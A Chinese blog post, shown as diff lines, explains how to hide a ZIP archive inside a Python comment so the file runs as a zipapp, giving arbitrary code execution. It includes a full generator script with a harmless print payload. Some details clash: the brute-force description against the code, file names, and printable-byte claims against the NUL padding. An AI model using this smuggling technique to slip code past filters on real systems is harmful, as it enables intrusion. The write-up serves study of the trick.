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| 1 | +--- |
| 2 | +date: 2025-08-04T10:30:00+08:00 |
| 3 | +draft: false |
| 4 | +title: "通过注释执行任意 Python 代码" |
| 5 | +--- |
| 6 | +通过注释执行任意Python代码 |
| 7 | + |
| 8 | +### 问题描述 |
| 9 | +Q: 只能控制一行的.py代码中注释的内容(\n\r均会被替换为空字符), 如何执行任意代码? |
| 10 | +A: 在注释#中, 构造一个.zip 文件, python 会将该内容当成一个zip包执行, 触发任意代码执行 |
| 11 | + |
| 12 | +### 解决方案 |
| 13 | +- 从 Python 3.5 起, 可以直接执行一个 .zip 文件 |
| 14 | + ```python3 |
| 15 | + python myapp.zip |
| 16 | + ``` |
| 17 | + 前提是ZIP 包中包含一个顶层的`__main__.py`文件, Python 会把它当作 zipapp, 自动解压并运行`__main__.py` |
| 18 | + |
| 19 | + > Python 会从末尾找到 ZIP 的目录结构, 而不是依赖文件头, 所以前面的“垃圾”字节会被忽略 |
| 20 | + |
| 21 | +Python 源码中的任何行, 只要以 # 开头, 解释器都会忽略后面内容, 因此可以: |
| 22 | +- 把 ZIP 文件的数据藏在 Python 源码中的注释中（开头加 #） |
| 23 | +- 把 ZIP 数据直接拼接在 Python 文件的后面, 只保证文件头部分是合法 Python |
| 24 | +- ZIP 不关心前缀, Python 只要最前面是有效源码, 也不会管后面 |
| 25 | + |
| 26 | +### 难点 |
| 27 | +ZIP 文件头包含**二进制字段**，比如 |
| 28 | +- 偏移量（文件数据相对于 ZIP 开头的位置） |
| 29 | +- 长度（文件名长度、注释长度等） |
| 30 | +- 这些值写死在 header 里, 是十六进制整数 |
| 31 | +- 如果这些字节中出现了像 \x00、\xFF 等非 ASCII 内容, Python 就不能把它当注释 |
| 32 | + |
| 33 | +解决方法: 暴力穷举合法组合 |
| 34 | + |
| 35 | +想办法 **调整偏移值和结构位置**，使得最终写出来的 ZIP 文件 |
| 36 | +- 所有的字段值都转化为 可打印字符（ASCII 范围内） |
| 37 | +- 所有 binary 字段看起来都像合法的注释字符串 |
| 38 | +于是用 `itertools.product(range(256), repeat=2)` 暴力尝试偏移组合，只要碰巧生成的 ZIP 包所有关键字节都在可打印范围内（ASCII 32~126），就认为成功。 |
| 39 | + |
| 40 | + |
| 41 | + |
| 42 | +下面是`generate_polygloy_zip.py`代码, 会生成一个符合要求的`polygloy.py`代码, 最后运行该代码, 可以执行Body里面的内容`BODY = b"print('FROM MAIN.py FILE!!!')#"` |
| 43 | + |
| 44 | +```python3 |
| 45 | +# struct: 按字节结构打包数据，方便构造 ZIP 文件二进制头 |
| 46 | +# itertools: 用来暴力枚举 CRC 校验和后缀（确保安全ASCII） |
| 47 | +# zlib: 计算 CRC32 校验和 |
| 48 | +import struct, itertools, zlib |
| 49 | + |
| 50 | +# 文件开头代码 |
| 51 | +# encode(): Unicode 字符串 -> bytes 字节串 |
| 52 | +JUNK_HEAD = """print("Hello World!") |
| 53 | +# This is a comment. Here's another: |
| 54 | +# """.encode() |
| 55 | + |
| 56 | +# 文件结尾代码 |
| 57 | +JUNK_TAIL = """ |
| 58 | +print("Thanks for playing!")""" |
| 59 | + |
| 60 | + |
| 61 | +# zip 文件核心代码 |
| 62 | +# b: 字节串 |
| 63 | +FILENAME = b"__main__.py" |
| 64 | +BODY = b"print('FROM MAIN.py FILE!!!')#" |
| 65 | + |
| 66 | + |
| 67 | +# 校验 CRC 是否为 ASCII-safe |
| 68 | +def ascii_safe(x: int) -> bool: |
| 69 | + return all(((x >> (8*i)) & 0x80) == 0 for i in range(4)) |
| 70 | + |
| 71 | + |
| 72 | +# 检查 32 位整数的四个字节，每个字节最高位（0x80）是否为 0，即是否为 ASCII 范围内的字节 |
| 73 | +def find_suffix(core: bytes, length: int = 4) -> tuple[bytes, int]: |
| 74 | + """ |
| 75 | + - ZIP 文件 CRC32 计算结果必须 ASCII-safe（低于 0x80） |
| 76 | + - 这里用暴力方法，给 payload 后面加4字节后缀，找到合适的后缀让 CRC32 满足 ASCII-safe 条件 |
| 77 | + """ |
| 78 | + printable = range(0x20, 0x7f) |
| 79 | + for tail in itertools.product(printable, repeat=length): |
| 80 | + payload = core + bytes(tail) |
| 81 | + crc = zlib.crc32(payload) & 0xFFFFFFFF |
| 82 | + if ascii_safe(crc): |
| 83 | + return bytes(tail), crc |
| 84 | + |
| 85 | + raise RuntimeError("No ASCII-safe CRC found.") |
| 86 | + |
| 87 | +# 计算最终 payload |
| 88 | +SUFFIX, CRC = find_suffix(BODY) |
| 89 | +PAYLOAD = BODY + SUFFIX |
| 90 | +SIZE = len(PAYLOAD) |
| 91 | + |
| 92 | +def le32(x): return struct.pack("<I", x) # 4字节小端无符号整数 |
| 93 | +def le16(x): return struct.pack("<H", x) # 2字节小端无符号整数 |
| 94 | + |
| 95 | +# ZIP 结构中各签名常量 |
| 96 | +SIG_LFH = 0x04034B50 # 本地文件头 Local File Header |
| 97 | +SIG_CDH = 0x02014B50 # 中央目录头 Central Directory Header |
| 98 | +SIG_EOCD = 0x06054B50 # 结束目录头 End of Central Directory |
| 99 | + |
| 100 | +# zip 文件偏移量设置 |
| 101 | +delta = len(JUNK_HEAD) |
| 102 | + |
| 103 | +# 构建 Local File Header |
| 104 | +""" |
| 105 | +Local File Header 是 ZIP 格式中的一部分，告诉解压程序该文件的元信息 |
| 106 | +- version needed to extract，flags，compression method 等字段置 0 表示无压缩，简单存储 |
| 107 | +- CRC32、压缩大小、解压大小都是我们计算的 |
| 108 | +- 文件名长度和文件名 |
| 109 | +""" |
| 110 | +lfh = ( |
| 111 | + le32(SIG_LFH) + |
| 112 | + le16(0) + le16(0) + le16(0) + le16(0) + le16(0) + |
| 113 | + le32(CRC) + le32(SIZE) + le32(SIZE) + |
| 114 | + le16(len(FILENAME)) + le16(0) + |
| 115 | + FILENAME |
| 116 | +) |
| 117 | + |
| 118 | +# 构建 Central Directory Header |
| 119 | +""" |
| 120 | +- Central Directory 是 ZIP 文件目录结构，记录每个文件信息和偏移， |
| 121 | +- 其中重要的是 relative offset of LFH，也就是 Local File Header 在整个 ZIP 文件里的偏移，必须加上 delta |
| 122 | +""" |
| 123 | +cdh = ( |
| 124 | + le32(SIG_CDH) + |
| 125 | + le16(0) + le16(0) + le16(0) + le16(0) + le16(0) + le16(0) + |
| 126 | + le32(CRC) + le32(SIZE) + le32(SIZE) + |
| 127 | + le16(len(FILENAME)) + le16(0) + le16(0) + |
| 128 | + le16(0) + le16(0) + le32(0) + le32(delta) + |
| 129 | + FILENAME |
| 130 | +) |
| 131 | + |
| 132 | +# 确保偏移量 ASCII-safe |
| 133 | +""" |
| 134 | +- ZIP 目录偏移需要是 ASCII 字节，否则写入 .py 文件时会出错 |
| 135 | +- 这里通过填充若干 \x00 字节，保证偏移合法 |
| 136 | +""" |
| 137 | +cd_offset = delta + len(lfh) + len(PAYLOAD) |
| 138 | +pad = 0 |
| 139 | +while not ascii_safe(cd_offset + pad): |
| 140 | + pad += 1 |
| 141 | +padding = b'\x00' * pad |
| 142 | +cd_offset += pad |
| 143 | + |
| 144 | +# 构建 End of Central Directory Header |
| 145 | +""" |
| 146 | +EOCD 记录 ZIP 中央目录大小、偏移及注释长度等信息 |
| 147 | +""" |
| 148 | +eocd = ( |
| 149 | + le32(SIG_EOCD) + |
| 150 | + le16(0) + le16(0) + |
| 151 | + le16(1) + le16(1) + |
| 152 | + le32(len(cdh)) + |
| 153 | + le32(cd_offset) + |
| 154 | + le16(len(JUNK_TAIL)) |
| 155 | +) |
| 156 | + |
| 157 | +# 拼接完整 ZIP 内容 |
| 158 | +zip_bytes = lfh + PAYLOAD + padding + cdh + eocd |
| 159 | +zip_bytes = bytearray(zip_bytes) |
| 160 | +assert all(b < 0x80 for b in zip_bytes), "非 ASCII 字节存在" |
| 161 | + |
| 162 | +# 写入 polyglot.py 文件 |
| 163 | +with open("polyglot.py", "wb") as f: |
| 164 | + f.write(JUNK_HEAD + zip_bytes + JUNK_TAIL.encode()) |
| 165 | + |
| 166 | +# 运行提示 |
| 167 | +print("✅ polyglot.py 生成完毕。运行它即可执行嵌入的 __main__.py 内容：") |
| 168 | +print(" $ python3 polyglot.py") |
| 169 | +``` |
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